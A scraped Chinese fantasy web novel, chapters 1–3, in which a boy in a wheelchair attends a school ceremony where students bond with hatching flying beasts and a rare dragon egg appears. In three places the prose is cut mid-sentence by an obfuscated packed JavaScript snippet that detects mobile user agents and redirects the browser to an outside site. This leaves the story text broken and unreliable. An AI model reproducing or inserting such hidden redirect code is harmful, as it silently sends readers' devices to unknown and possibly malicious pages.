《骑在银龙的背上》 1. 第 1 章 天空操场上，三年级的学长们骑着各自的飞兽，排成一个个整齐宏大的方阵，在独角兽的号角乐声中缓缓向前。从地面的观众席向上望去，一双双形色各异、姿态万千的翅膀聚拢成一圈，如同光环般将太阳围在中央。 每一个驭风族的少年，都可以在十六岁那年，根据自己的个性和能力，获得一只独属于自己的飞兽坐骑。 今天是驭风族一年一度的风起礼，是一年级新生与自己的飞兽相识相遇、缔结契约的重要日子，也是三年级学长们展现这三年所学驭兽成果的毕业典礼。 今年三年级毕业方阵的领队毫无悬念，是珐斯学长和他的烈火凤凰。 珐斯拥有着极高的驭兽天赋，他的飞兽同伴同样是稀有度极高的凤凰属，这注定了他在天空学院的三年，自始至终都是首屈一指的风云人物，由他带领的队伍自然是规整得不出半点纰漏。 然而观众席上，老院长却只是望着队伍摇摇头，皱着眉不住地叹息。 一旁的教务主任坐不住了，有些紧张地试探道：“院长，我觉得孩子们今天表现还算不错……” 老院长有些无奈，又深深叹了口气：“学院已经有十年没再有过龙族的飞兽了。” 教导主任：“可我们有珐斯，他的凤凰不比任何一条龙差，更何况这还是高纯度、高强度的火属性凤凰……” 天空中，珐斯和他的凤凰正完成一个高难度的飞行动作，观众席下响起一片掌声，老院长跟着众人一齐鼓起掌来，没接方才的话茬，只淡淡道：“不知道今年的新生，都是什么水平。” 此时，观众席最后排，新生安泽被突如其来的掌声吵醒。和旁人不同的是，他没有坐在校方安排的席位上，而是坐在一辆轮椅上，轮椅前面有一块可折叠的桌板，正正好让他趴得舒服。 在沸反盈天的欢呼声中，安泽迷迷瞪瞪睁开眼，抬头望了望天，懒散无力地嘟哝了一句：“……还没结束？” 安泽有着一头如天空般的蓝色微卷发，似乎是因为睡觉的关系，发尾发边都有些凌乱的翘起。 “没呢！”一旁的好友柯林盯了那几根翘发半天，这会终于忍不住伸手想将发尾捻直，可手一松，那头发又倔强地翘了起来，气得他朝安泽的后背狠狠甩了一巴掌，“别睡了！你快看！三年之后我一定会比珐斯学长还要厉害！” 这一巴掌清脆又结实，虽然淹没在了海啸般的掌声之中，可还是把安泽睡意彻彻底底地惊走了。 他吃痛地嘶了一声，眼神依旧是涣散无神的，语气也有种半死不活的无力：“好啦……真羡慕柯林你的纯真啊，都已经十六岁了，居然还会做这么不切实际的梦。不过没关系的，不管你未来会被打击成什么样子，我的肩膀永远都可以借你哭泣……” 似乎是已经习惯了安泽这死出，柯林只是又给他砰砰来了两拳，便在那人毫不卖力的哀嚎声中，继续抬头观看表演了。 表演在周遭此起彼伏的欢呼声中持续了一个多小时，被柯林摇醒的时候，安泽觉得自己睡得浑身酸痛，只勉勉强强抬起头，幽怨地望着他：“喂……你这个小肚鸡肠的家伙，不会趁我睡觉的时候偷偷揍我泄愤了吧？欺负残疾人可是会遭天谴的……” 柯林朝他的轮椅腿上踹了一脚，不客气道：“我揍你还需要等你睡着吗？” 安泽揉了揉脖子，鼻腔里哼哼两声，便自己推起轮椅默默钻进人流中去了。 半小时之后，一年级的新生们就要在学校的破壳礼堂里，迎接自己人生中最重要的飞兽伙伴了。这一天对于驭风族的孩子来说，不亚于拥有第二次生命，可对于安泽来说，似乎也只是让人昏昏欲睡的普通一天罢了。 “诶呀诶呀，真不知道咱们的飞兽都是什么样的！”身旁的柯林激动地连跑带跳，恨不得把轮椅上的安泽抡到天上去，“好羡慕珐斯学长啊！！我也想要一只凤凰！！不过天马什么的也可以啊！！你呢安泽？你想要什么样的？” “我都无所谓的，柯林。”安泽打了个呵欠，耷拉着眼望着前方，“有你这样热衷幻想、无限乐观、天马行空、不切实际的朋友，我的世界哪怕不需要飞兽也已经足够精彩了……” 柯林此时心情大好，只是又朝他轮椅后座来了一脚，一抬头，又兴奋起来：“仪式快开始了！！我先去啦！你自己加油！！”接着便丝毫不顾一边轮椅上的朋友，又哼着独角兽小曲儿，愉快地朝礼堂跑去了。 安泽耷拉着眼望着柯林渐行渐远的背影，没有加快手速跟上去，而是刻意放慢了动作，努力让所有人都超过他。 安泽自出生起便双腿残疾，虽然肢体乍一眼看上去与常人无异，但因为天生疾病的缘故，只要稍微用力，双膝以下便会感到粉身碎骨般的剧痛。 于是从学步期开始，安泽便学会用轮椅代替双腿行走了。或许因为熟能生巧，他驾驶轮椅的灵活度不亚于任何四肢健全的正常人，他的朋友们便也没有什么需要对他额外照顾的念头，安泽也更习惯被如此对待。 他抬起那双幽幽的蓝眼睛，刻意无视掉了一旁悄悄打量他的目光，轱辘轱辘推着轮椅慢吞吞地向前——这是他来飞行学院上学的第一学期，好不容易让同班同学适应了自己的身体情况，此时暴露在全校其他师生的面前，还是让他有一种怪怪的感觉。 像是在阴湿角落里，一只躺得好生生的鼠妇，突然被人一把掀掉了头顶的石板，被阳光刺得直接翻过肚皮，但除了蜷成一团蠕动挣扎，好像也没有什么更好的办法。 果不其然，一旁立刻有好心的同学凑上来：“同学，需要帮助吗？” 安泽缩了缩脖子，目光还是懒懒地望向前方，语气也是平静得让人昏昏欲睡：“谢谢你，你真是个好心的天使……但是如果让你知道我的座驾已经蝉联三届障碍赛冠军，我还要这样假装行动不便接受你的好意，真的会十分良心不安的喔……” 说完，他身下的轮椅便一个丝滑转身，让掉对方准备扶过来的手，接着稳稳停下，刚好转了一百八十度，面朝向好心的同学。正当对面两眼发懵地望着他的轮椅时，只听“啪”的一声，轮椅的扶手里弹出一根包装好的棒棒糖，直直戳向对方的鼻尖：“喏，送你一颗糖。” 这是安泽在人际交往方面的一个小习惯。因为母亲反复教育过自己，用恶语拒绝别人的善意是会遭天谴的，所以每当他拒绝别人帮助的时候，事后都会用一颗糖果贿赂一下“天意”，企图减轻自己犯下的罪孽。 正常情况下，他每天会在轮椅里放五根棒棒糖，一天下来差不多够用，但今天情况特殊，还没过去半个早上，库存都已经快不够用了。 对面同学莫名其妙收下糖果的时候，安泽已经坐着他的轮椅默默背过身，继续慢吞吞地赶路了，“希望这次的拒绝不要伤害了你的天使心肠，遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595867|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到我之外的人，还是要勇敢地做好事哦……” 这一番小小的插曲，自然引来周围一小波人的围观。安泽撑着眼皮，懒洋洋打了个呵欠，还没等他钻回人流的最尾巴，一旁的议论声便传了过来—— “哇，刚刚那个动作真的蛮厉害的！” “是啊，确实听说过这三年的障碍赛都是个残疾人拿冠军呢，原来就是他啊？？” “不过腿残疾，真的能驾驭得了飞兽吗……飞兽和轮椅差别还是很大的吧……” “肯定的啊，像他这样的飞过彩虹峡谷肯定是没希望了，不过应该会做一个很厉害的地勤吧！也还不错啦！” 这些话语从耳畔擦过时，安泽依旧是半耷拉着没什么神采的双眸，沉默不言。 驭风族的群落，建立在一片与世隔绝的土地之上，唯一与外界相连之处，便是方才被提到的彩虹峡谷。 彩虹峡谷是整个大陆跨度最大、深度最深的峡谷，注定无法建立连通的桥梁。但好在驭风族的少年从十六岁的风起礼上，就可以拥有一只相伴一生的飞兽，经过飞行学院两年的培训和磨合、通过飞行测试之后，少年人们便能和他们的飞兽伙伴一起，拥抱峡谷之外更广阔的天地。 飞跃峡谷是每个驭风族人的梦想，而族群之内，总难免会有因为先天不足，或是后天因素无法飞跃峡谷的人。这部分人大多留在族群之内充当“地勤”，为飞行的人们提供辅助，或是在部落从事其他与飞行无关的职业，换一条路平平稳稳度过一生。 在驭风族内，地勤至少在明面上并不是一个卑贱的、低人一等的职业，飞不出峡谷的人也不会被明目张胆的歧视嘲笑。安泽从小到大都被默认是地勤的预备军，不只是因为他的双腿无法受力、根本不可能完成驭兽的任务，更是因为他有着一手相当强悍的机械手艺，也算是术业有专攻了。 所有人都说，安泽好好学习沉淀，以后留在部落里，一定可以让整个驭风族的飞行水平拥有质的飞跃。 他们都说，虽然安泽飞不起来，但是他一定能让大家飞得更快更好。 就连从小到大的好朋友柯林都对他说，留在部落里不要伤心，自己以后就算飞出了峡谷，也会经常回去看望他。 他们都告诉安泽，飞不起来也没什么大不了的，这个时代早已经不是唯飞行至上的那个年代了，可所有人谈到梦想的时候，却依旧只会说，我要成为飞得最远最高的那一个。 走着走着，安泽终于靠着极其缓慢的速度，退到了人群的最末尾。 被人群丢落之后的世界，像是“唰”地一下彻底展开来一般，宽阔得连空气都更加清新了。 在没人注意到的角落里，安泽终于悄悄抬起头来，这是他今天第一次看天。 天气很好，天空像他的头发和眼睛一样湛蓝，学长们的表演队伍已经散去，但天空中的云朵，依然有被飞兽踏过留下的痕迹。 别人看天的时候，总会因为阳光过于刺眼而眯起眼睛，但安泽却相反。抬头望天，是唯一能让他睁大眼睛、双目有神的时刻。 天空几乎被这日光溶解成了颗粒分明的蓝色沙，一把把毫不留情地洒进他的眼睛里，让他双眼干涩又生疼，泪水都快要被磨了出来。 但他依旧这样倔强地瞪着眼望着。 谁要留下来……安泽这样想着。 我也一定会飞上天空的。 2. 第 2 章 半小时后，破壳礼堂内，一年级的新生们叽叽喳喳挤成一团，兴奋地交头接耳、四处张望，像是一群聒噪亢奋的雏鸟。 破壳礼堂是学校专门兴建来迎接飞兽出生的礼堂。因为大部分飞兽刚一破壳便有着较强的飞行能力，但一年级的新生普遍不会驭兽，因此礼堂的层高很高，内部也相当空旷，给了大家完全足够的“胡作非为”的空间。 此时此刻，所有人都围成一圈，争先恐后探着脑袋想要去看礼堂中央的大孵化箱——里面整整齐齐摆放着一排排形态各异、大小不一的蛋，大家相伴余生的飞兽伙伴们便躺在其中，静静等待着破壳而出的那一瞬间。 人群像洋葱一样一层层一圈圈地包裹着，柯林早就如探针一般一猛子扎进了最里层，身体不便又心情疲乏的安泽，自然是懒得凑这个热闹，安安分分在最外层打着瞌睡，什么也看不见，什么也不想看。 就在他又要差点儿睡着的档口，耳畔传来柯林兴奋的声音：“我的老天爷！！那些蛋都好漂亮啊！！你真应该过去亲眼看看！！” 安泽努力地撑起眼皮，带着困意敷衍道：“如果多看几眼就能让东西变得更好看，我也愿意牺牲一下眼睛，每天多看看你的。” 柯林十分娴熟地给了那人一锤，然后继续手舞足蹈道：“真的，我的天，我只在书上看到过这么多蛋，有一颗特别漂亮！是银色的，色泽特别好！比别的蛋大好多！上面居然还有鳞片呢！像盔甲一样，特别帅气！！” 安泽的嘴刚准备发力了，却在听到柯林这句话的时候顿住了。他微微下垂的眼睛抬了起来，重复道：“银色的……鳞片？” “是啊是啊！也不知道是什么东西！所有人都在看！”柯林道，“你读书多，你觉得那是什么东西啊？？” 安泽怔了怔神，下意识想说“龙”，但一想到大陆近十年都没再有过龙的出现，学者们甚至都在怀疑龙族灭绝的可能，还是很谨慎地将那份猜测吞回了腹中：“呃……不知道，可能是飞蛇什么的吧？” “啊？飞蛇的蛋能这么漂亮吗？”柯林听了有些失望，但很快就调理好了，“嘿嘿，应该没那么简单，我感觉那颗蛋跟我很有缘分，也许就是我的也说不定呢！” 说出这句话的时候，柯林已经做好了被安泽用阴阳怪气的语调评价“异想天开”了，他甚至已经捏好了拳头，不管那人说什么都先给他来一锤，没想到那总是对什么都没兴趣的家伙，居然挺直了腰背，朝人群中央望了望。 柯林那一拳没给出去，相当不是滋味，缓了良久才歪歪头，好奇地问安泽：“你也想看？要不要我推你进去？” 安泽似乎有那么一瞬间真的很想挤进人群中去，可又看了看自己腿，摇摇头，缩回了身子。 算了吧，这种人多的地方太容易发生碰撞，一旦挤着自己那双破腿，可就够受得了。 更何况……安泽半睁着的眼睛又垂了下来——更何况，哪怕真的是龙，跟自己这个废物又有什么关系呢？ 柯林没见过安泽这样躲躲闪闪的样子，刚想着一路喊着“有残疾人啊大家让一让”就带着好兄弟冲进核心地带，忽然周遭的嘈杂声“唰”地一下都退了下去，便也跟着停下了动作——主持仪式的院长和老师们来了，属于一年级新生的风起礼就要开始了。 一瞬间，所有人就近找到位置落座，所有人目光炯炯地望向老师，目光中的炽热都足以让孵化箱中的飞兽蛋提前破壳。 柯林也快速推着安泽找了个位置坐下，这里只要稍微抬抬头就能看见保温箱中的光景，但是安泽依旧耷拉着脑袋，似乎又要睡去了。 在全场学生的注目下，一只巨大的白鹳从礼堂的窗口飞入，随着老校长一挥衣袖，那白鹳的双翅便唰地展开，宛如一双遮天蔽日的大手，在每个学生的头顶上轻抚而过。 这只白鹳就是老校长的飞兽，年纪已经和校长一般苍老，却因为木属性的长生特性而依旧保持着良好的状态。方才那一抚，是每届新生风起礼上惯例的仪式，代表着森木之灵将希望的种子播撒给了每一颗冉冉升起的新星。 可惜安泽正垂着脑袋半昏睡着，白鹳的翅尖悬在了离他头顶一拳的距离，柯林慌慌张张拍着那家伙想让他抬头，可等他迷迷瞪瞪睁开眼的时候，那抹巨大的白色已经收去，“希望的种子”并没有在他的头顶种下。 “老天爷！这时候你也能睡得着？！”柯林替他崩溃，“你瞧瞧你都错过了什么！” 安泽懒懒抬起眼，又将脑袋向一旁歪去：“别那么迷信啊柯林，希望的种子要是能在我的头顶生根发芽，那校长就该转行去当魔术师了。” 柯林有些恨铁不成钢地叹了口气，可看了看他的模样，却又不知该说些什么好，只是叹了口气，转而便又兴奋地望向礼堂中央了。 参加风起礼仪式的，有整个飞行学院的院长、教导主任、一年级组组长，还有四个班的班主任。 在风起礼之前，整个一年级是一个大混班，礼成之后，学生将会根据各自的考核结果以及飞兽的特性，被分进日、月、星、云四个不同的班级。 虽然从未有人下过论断，但是所有人几乎都默认这四个班级是按照实力由高到低而分的，毕竟从太阳到星星，光芒越来越小，最后的流云甚至没有实体，孰强孰弱不言而喻。 柯林望着台中央的六个人，絮絮叨叨地许愿可以进入旭日班。安泽没有作声，只瞥了一眼那群人，便已经提前清楚了自己的归宿——像自己这样的家伙，肯定只能去流云班了，自己未来的班主任应该就是站在六个人最旁边的，那个留着齐肩亚麻色短发、戴着比啤酒瓶底还厚的圆框眼镜的矮个子女生。 那人离得有些远，安泽看不太清她的脸，只觉得那副眼镜有点眼熟，便戳了戳柯林问是谁。 柯林确认了一下他手指的方向，压着声音，十分浮夸道：“她你都不记得啦！那个一激动就会昏过去的潘妮老师呀！开学典礼上因为被校长表扬直接倒下去的那位！” 这么一说，安泽似乎有了一些印象，开学典礼他也差不多是睡过去的，中途唯一一次醒来就是听说一个老师突然在讲台上晕倒了，原来就是她啊…… 安泽捏了捏眉心，感觉睡得有点头疼，又闭眼换了个姿势。 风起礼很快进入了正题，负责主持仪式的是学院的教导主任，他向孩子们介绍了在场的几位老师，接着便简单介绍了风起礼的内容和流程。 流程的第一项已经结束，就是由校长的白鹳维达尔为大家“拂顶”。紧接着便是众望所归的破壳环节，那这些飞兽的蛋是从何而来、又是如何挑选主人的，教导主任便给孩子们又上了简短而又有意义的一课—— 驭风族自古以来便和飞兽群落签订了契约，每一年的风起礼之前，飞兽群落便会挑选出最优质的一批兽蛋，送到学院寻找追随一生的主人。 为了保证一一对应的关系，挑选来的兽蛋的数量会和学生的数量完全一致，而破壳之后便是飞兽和学生双向选择的过程——优秀的飞兽和顶尖的学生自然都会是会被争抢的对象，所以最终能走到一起、缔结契约的人与兽，自然都是实力在同一水平、脾性也能互相适应的最佳拍档。 今天的风起礼上，学校会给学生们和飞兽充足的时间，去寻找、挑选、争取自己未来的搭档，这会是一个相当漫长、嘈杂而又充满变数的仪式，老师们早已经做好了充分的准备，台下的学生们更是摩拳擦掌、跃跃欲试。 随着教导主任一声哨响，一只身形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595868|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞大的袋鸟慢慢从门口踱步而来，一左一右摇晃到了孵化箱的面前。在所有人的注视之下，这只半洞礼堂大的巨鸟缓慢挺起了身子，凸起的胸前徐徐展开一只巨大的育儿袋，随着它左右摇晃的动作，那袋子居然就像张口生吞鸡蛋一般，一点点将整个孵化箱吞进了袋中。 这是飞兽孵化的最后一步，需要具有日光属性的袋鸟进行最后的催化，确保新兽能够在这一天苏醒破壳。 在学生们的慨叹之中，袋鸟的周身发出了淡淡的浅金色的光，大家屏气凝神地等待着最终孵化，约莫三分钟后，那只巨大的箱子总算被慢慢地吐了出来，而箱子外的玻璃罩也终于缓缓打开，确保出生的飞兽可以顺利地飞出。 大家不约而同伸长了脖子去观察孵化箱内的情况，就连六个老师也一起围了过来。他们紧紧盯着那孵化箱中的一颗颗蛋，很快，一颗长着褐色裂纹的蛋开始剧烈晃动起来，吸引了所有的人目光—— 一般情况下，孵化的速度会和飞兽今后的身体素质有着很强的关联，每年第一个孵化的飞兽，今后的飞行成绩几乎都是数一数二，据说当年珐斯学长的火凤凰活活领先第二名近半个小时孵化，至今还是学校广为流传的一段传奇佳话。 “呜啊——！！”随着一声相当有气势的长鸣，一道浅金色的羽光从玻璃罩中折射而来。人们下意识眯了眯眼，接着就看见一只前肢披满金色鹰羽、后半身长着褐色狮子毛的狮鹫幼崽冲出了蛋壳儿。仔细看，它的周身还缠绕着细微的电流——这是个雷属性的小狮鹫。 狮鹫也是两年没见过的传说级别的神兽了，虽比起珐斯的不死鸟凤凰要逊色些许，但也足够让年级组的老师们喜出望外。 在小狮鹫挺胸抬头准备尝试着往外飞的档口，又有几颗蛋破裂了，先后飞出来的有一只圆墩墩的雪鸮、四只巴掌大的巨型熊蜂、羽毛漆黑如夜的渡鸦…… 反应快的学生们已经优先来到讲台前寻找心仪的飞兽了，那只雷电狮鹫更是炙手可热。它似乎也知道自己十分受欢迎，直接一扇翅膀飞到礼堂里最高的鸟架顶上，一边用喙给自己顺毛，一边居高临下地望着每个来自己脚下毛遂自荐的少年。 人群早在狮鹫破壳的一瞬间就翻涌了起来，柯林回头看了一眼安泽，在得到那家伙嫌弃的挥挥手之后，也一股脑儿涌进了狮鹫面前的长队之中。 安泽向后退了退、一直退到了人群最后方，才好不容易找到一个可以歇息的地方—— 自己睡一觉应该也差不多了，这种双向挑选的事情对他来说太过简单，只需要耐心等待别人挑剩下的家伙就好。 但是临闭眼之前，他还是有些耐不住，悄悄又抬头望了一眼孵化箱里的那颗银白色的蛋。 随着时间慢慢流逝，孵化箱里几乎所有的蛋都已经破壳，甚至有好几只飞兽已经成功找到了主人，可那颗长着鳞片的银色的蛋，依旧静静地躺在孵化箱里沉睡着。 那里面究竟有什么？安泽捺不住有些期待，但却又不敢放任自己太过期待。 他抓了抓自己乱糟糟的蓝发，叹了口气背过身去，不再去看孵化箱，强迫自己闭上眼进入了睡眠模式。 昏昏沉沉睡了不知多久，安泽突然被一声惊叫扰醒，他揉着眼睛转过身去，就听到有人惊呼： “快来人啊！潘妮老师晕过去了！！” 潘妮老师？安泽反应了半秒，想起来是那个一激动就容易晕倒的女老师。 上一次她晕倒，是因为被校长当众表扬，那这一次是……？ 还没等他开口，就有人替他好奇了：“怎么了怎么了？她又受什么刺激了？？” 紧接着，他便听到有人回答：“这回是真刺激！！快去看看吧！！有颗蛋里开出龙了！！” 3. 第 3 章 龙！ 听到这个词的时候，安泽困得快要闭上的双眼“唰”地一下睁大了。他几乎是条件反射地将轮椅转了个圈儿，想要扎进人群里去看看究竟，却因为腿的缘故无法靠近。 安泽在人群外围绕了两圈，实在挤不进去，终于还是硬着头皮，轻轻喊了一声身旁离他最近的女生：“同学，能不能帮帮我，我也想去看看……” 这大约是他第一次主动求人帮忙，也是罕见地没有夹枪带炮地说话，居然让他莫名其妙有些紧张起来。 但很显然，这个被求助的女生，比他还要紧张得多。 “啊……！！”女生的脸在被喊到的一瞬间便通红起来，她手足无措地转过身，迅速避开了安泽的视线，花了半秒钟弄清情况后，又慌乱地抓住了轮椅的把手，“好好……好的！我推你进去！！” 接着“嗖”的一下，安泽便在女孩的推行下，原地冲刺了出去。 这一切都发生得太过迅速且突然，以至于在电光石火之间，安泽还没反应过来发生了什么，抬头就已经被塞进了人群的最前端。再回头想要找那女孩道谢的时候，那人已经彻底不见了踪影。 只记得是个红色头发、脸上长着小雀斑的女生，五官没留下什么印象，那浑身上下散发出的浓烈的紧张气息，倒是让人十分印象深刻。 但安泽此刻没有闲心再管她——那颗让潘妮老师昏倒的蛋，此时此刻就在他的面前。 在大陆之上，龙就是这样一个能让潘妮兴奋到晕倒、能让对一切都兴趣缺缺的安泽求人带自己一饱眼福的存在。所有人都知道龙有多厉害、多稀奇，所有人也都知道，大陆上一次出现龙和龙骑士，也已经是十年前的事了。 安泽被人挤得贴到了玻璃罩上，这个动作难受得很，倒是能更清楚地看到龙了。于是他忍着腿疼，努力睁着眼紧紧盯着里面看。 与其说是龙，不如说目前仍旧是一颗蛋——主角就是那只引得柯林连连称赞的银色鳞片蛋，此时的蛋壳依旧散发着银白色的光泽，蛋壳只破了一个小小的洞，仔细看表面还有一些细小的纹路，但蛋壳基本还是保持着一个完整的状态。 有人忍不住问了：“怎么看出来是龙的啊？” “不知道啊，潘妮老师突然尖叫了一声说是龙，大家就都挤过来了。”有人回答道。 这时，人群的另一头，传来了一个颤巍巍的女声：“是龙角啊孩子们……刚刚戳破蛋壳的是龙的角……我不会看错的！” 所有人齐刷刷扭头朝着说话人看去，就看见方才已经不省人事的潘妮老师，此时正在其他老师的搀扶下坐起了身，似乎又想往人堆里钻。 “您还是躺着吧！”几乎所有人异口同声地朝她喊了一句，潘妮老师便只能安安分分躺了回去。 又贯彻了许久，又有人问了：“龙的破壳能力这么差吗？感觉从刚刚到现在，基本没什么动静啊。” 大家沉默了——比起一旁或是剧烈颤抖，或是已经完全破裂的其他蛋，这只蛋安静得可怕，大家盯了好久，才勉勉强强确定它在微微晃动着。 要知道，破壳的速度和强度，和飞兽日后的身体素质成几乎绝对的正相关，此时孵化箱里超过半数的飞兽已经破壳，在没有孵化的蛋里，这颗蛋的进度也属于相当缓慢的程度。 这是什么情况？难道是龙和别的飞兽不一样？ 此时，大家的头顶上已经盘旋起了各式各样新出生的飞兽，进度快的孩子已经先一步找到了心仪的伙伴。眼看着蛋还是没有动静，有些孩子选择了撤离——毕竟龙只要能孵化出来，什么时候都能看，但是飞兽不快一些去挑选的话，可是要被别人抢了先了。 随着龙蛋持续不动的时间越来越长，留在孵化箱边围观的人也越来越少。安泽自始至终留在最前排，紧紧盯着那颗蛋，渐渐地，他听不见身边的声音、看不见别的飞兽和人，似乎除了那颗蛋之外，周遭的一切都与他无关了。 直到身后，好朋友柯林的哭嚎声，把他短暂地拉回了现实—— “不要啊！放开我啊啊啊！！” 回过神的安泽默默转头，便看见身后几近崩溃的柯林，正在拼命地扯着一张趴在脸上的……呃，白色奶酪片。 那是一只巴掌大小的白色鳐鱼，扁扁的一小片，此时正紧紧贴在柯林的脸上，像是一张水洗过的白毛巾。 看得出那鳐鱼粘得很紧，柯林扯得自己吱哇乱叫也没能动它半分，那两只翅膀似的胸鳍甚至像手一般，紧紧揪住了柯林的双朵。 安泽缓缓侧身，一边死守在龙蛋旁，一边抬眼看热闹：“喔，柯林，恭喜你，你要有飞兽咯。” 这话更是激得柯林崩溃不已：“不要啊！谁要它啊！我不同意！！这样我可怎么飞啊？？” 安泽当然知道他不乐意，柯林最大的梦想就是能拥有一只像狮鹫、不死鸟、天马那样英勇的神兽，他的志向自始至终就是当一名强悍有力的输出，眼前这一片小小的白色鳐鱼，能不能驮得动一只老鼠都难说，自然和他的理想型相差甚远。 可是这鳐鱼似乎铁了心黏上了柯林，结结实实用身子挡住他的视线，甚至还变本加厉，在柯林的哀嚎声中张开嘴，啃住了他的鼻子。 安泽乐了，从轮椅把手里拿了根棒棒糖，悠哉悠哉吃了起来：“你们感情真好，看来没有什么能拆散你们了。” 于是柯林哭得更大声了。 确定柯林在劫难逃之后，安泽又安安静静转头，去看柜子里的那只龙蛋了。因为破壳的时间太久，留下来围观的人已经不多了，但是安泽却无所谓——反正自己肯定只能选大家挑剩下的，根本就没有耽误时间这么一说了。 他就这样静静趴在玻璃箱旁，盯着蛋壳上的那一粒小小的洞——潘妮老师说，这是龙角拱出来的，也不知道龙角是什么颜色的，生出来的小龙又会被哪个幸运儿抢走。 难得的，向来与世无争的安泽，心中竟然荡漾出一丝微微的妒意——十年一见的龙啊，站在金字塔顶尖的、他梦里都憧憬的龙，为什么偏偏要出现在他看得到却够不着的地方，勾得他心痒痒的呢。 此时，那颗蛋已经没了动静，像是睡着了一般，叫最后一拨围观的人都离开了。 四周无人，这一刻，这颗蛋似乎短暂地属于安泽一般。 “咔……咔……”随着两声细微的声响，那蛋壳微微颤动了两下。 安泽连忙俯身凑过去看，他下意识想开口呼唤一声，又怕招来了其他人围观，便只能咬着牙，假装什么都没发生过一般，欣喜地望去。 他握紧了拳头，屏住呼吸在心里为它加油，可等一口气彻底憋不住的时候，那纹路生长的动作又突然停滞下来了。 安泽差点儿一口气没缓过来给自己活活憋死，正眼冒金星地换气时，又听背后传来一声惊呼——“什么？狮鹫选了她？？” 安泽恍恍惚惚顺着人声望去，一回头，便看到那一只站在高处傲视群雄的狮鹫，此时正落在了一个女孩儿的肩膀上，定睛一看，正是方才好心帮忙推轮椅的那个红发雀斑女孩儿。 “她是谁啊？”有人问。 “应该是叫瑞秋吧，不大记得了，平时都记不起这号人呢……” “嘶……看起来不怎么样啊。” “本来就不怎么样，她连跟人打招呼都成问题，为什么会被狮鹫选上啊……” 眼前，这个被狮鹫占领肩膀的红发女孩，比方才和安泽打交道时看起来还要惊慌唯诺，似乎下一秒就要彻底破碎了。 “我我……我吗？”女孩儿的眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595869|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有被强者选中的欣喜，只有快要哭出声的惶恐和崩溃，“真……真的不是选错了吗？我……我不行吧……” “是啊，应该是选错了吧！”有人不服气地上前一步，尝试着向狮鹫伸手，“你要不看看我呢？我比她强多了……” 话还没说完，一股肉眼可见的电流便顺着那人的指尖爬了上去，只听那家伙被电得一阵惨叫，抬眼间，那狮鹫便毫不留情地挥起翅膀，双爪推着瑞秋的肩膀，离开了人群。 除了那没破壳的龙之外，这一届当之无愧的最强飞兽狮鹫，居然选择了一个默默无闻，甚至畏畏缩缩的女孩做搭档，一时间，就连围观的几名老师都陷入了沉默。 “这是闹着玩儿呢？”有人十分不满道。 “不知道，我看这狮鹫脾气挺坏的，感觉很不好驯，有可能是故意跟学校作对，也有可能是看她好欺负、故意刁难她呢……” 安泽抬头望了一眼瑞秋离开的方向，接着又很快地转头去守着那颗心心念念的蛋。可这颗蛋毕竟光明正大躺在孵化箱中，它不是安泽独有的宝贝。 此时，全场只剩下这一颗蛋没有成功孵化了，几个老师先是围过来，表情凝重地商讨着什么，接着，那些为了等龙孵化、始终忍着没有挑选飞兽的尖子生们也挤了过来，想要尽可能地抢占先机。 在无声处，安泽悄悄将轮椅横过来，尽可能用身体拦住更多人。他知道如果真的孵化出龙来，自己和它的相处就得彻底告一段落了，所以他想抓住最后的机会，想离它再近一点、看它更久一点。 可不知是不是错觉，自打围观的人多了之后，那原本还缓慢晃动的蛋，又悄无声息地陷入了沉默。 安泽的手心出了汗——他莫名觉得这颗蛋里的孩子，被大家盯得有些紧张。 它可能在害怕。 “老师，怎么还没孵化啊，难道龙都是这样吗？”有人问。 “不应该啊……”潘妮老师此时已经被人扶了过来，在视线极佳的位置擦着额头的汗，“理论上来说，龙的孵化应该比狮鹫还要快才对……” “啊？？”“那怎么回事？？”“不会有什么问题吧？” 孵化箱便瞬间掀起一声声忧虑的质疑，似乎真的将蛋里的小家伙吓到了，蛋壳开始不住地抖动，裂纹却没有蔓延的趋势，叫安泽看了只觉得心中阵阵的不安。 可围观的同学们似乎都没感受到它的情绪，只为那忽然发生的抖动欢呼起来。 看着越发不安的蛋，安泽也微微皱起眉来，他下意识抬起手，想要去安抚一下那惊惶失措的孩子。 因为坐在轮椅上，他的视线几乎和那颗蛋平齐，于是动作不像是要去低头抚摸一只伏地的宠物，而是像要试图握住同伴的手一般。 可指尖仅仅只是向前探了一点点，指尖便触碰到了孵化箱的玻璃上，轻微的触碰声在礼堂内没有掀起一丝波澜，却似乎是惊到了孵化箱中的那颗蛋，叫蛋壳十分猛烈地颤动了一下。 “喔！！”“出来了出来了！！” 